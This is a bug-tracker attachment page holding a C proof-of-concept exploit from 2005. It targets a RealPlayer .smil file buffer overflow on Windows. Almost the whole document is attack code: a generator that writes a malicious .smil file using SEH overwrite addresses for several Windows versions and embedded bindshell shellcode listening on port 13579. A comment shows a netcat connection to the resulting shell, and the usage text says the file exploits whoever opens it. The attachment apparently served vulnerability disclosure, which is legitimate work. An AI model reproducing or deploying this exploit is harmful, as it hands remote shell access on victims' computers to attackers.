Attachment 30402 Details for Bug 67137

PoC for Windows version

real-seh.cpp (text/x-c++src), 3.92 KB, created by Ludwig Nussel on 2005-03-08 12:15:04 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Ludwig Nussel

Created: 2005-03-08 12:15:04 UTC

Size: 3.92 KB

patch

obsolete

>/* RealPlayer .smil file buffer overflow
>Coded by nolimit@CiSO & Buzzdee
>greets to COREiSO & #news & flare  & class101 & ESI & RVL & everyone else I forget
>This uses a seh overwrite method, which takes advantage of the SEH being placed
>in multiple locations over the different OS's. Because of this, it should be
>completely universal. :).
>Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
>
> C:\tools>nc -vv SERVER 1554 
> SERVER [192.168.1.93] 1554 (?) open 
> Microsoft Windows 2000 [Version 5.00.2195] 
> (C) Copyright 1985-2000 Microsoft Corp. 
>  
> C:\Program Files\Real\RealPlayer> 
>
>*/
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>char pre[]=
>"<smil>\n"
>"  <head>\n"
>"    <layout>\n"
>"      <region id=\"a\" top=\"5\" />\n"
>"    </layout>\n"
>"  </head>\n"
>"  <body>\n"
>"    <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";
>
>char shellcode[]= 
>/* bindshell port 13579 thx to metasploit.com :)
>   restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
>                     0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b  */ 
>"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
>"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
>"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
>"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
>"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
>"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
>"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
>"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
>"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
>"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
>"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
>"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
>"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
>"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
>"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
>"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
>"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
>"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
>"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
>"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
>"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
>"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";
>
>
>char end[]= 
>"  </body>"
>"</smil>";
>
>char overflow[1700];
>int main(int argc,char *argv[])
>{
>    
>	FILE *vuln;
>	if(argc == 1)
>	{
>		printf("RealPlayer 10 .smil file local buffer overflow.\n");
>		printf("Coded by nolimit & buzzdee.\n");
>		printf("Usage: %s <outputfile>\n",argv[0]);
>		return 1;
>	}
>	vuln = fopen(argv[1],"w");
>	//build overflow buffer here.
>	memset(overflow,0x90,sizeof(overflow)); //fill with nops
>	memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
>	memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
>	memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
>	memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
>	memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
>	memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
>	memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
>	memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)
>    memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in 
>
>	if(vuln)
>	{
>		//Write file
>		fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
>		fclose(vuln);
>	}
>	printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
>	return 0;
>}

Actions: View

Attachments on bug 67137: 30402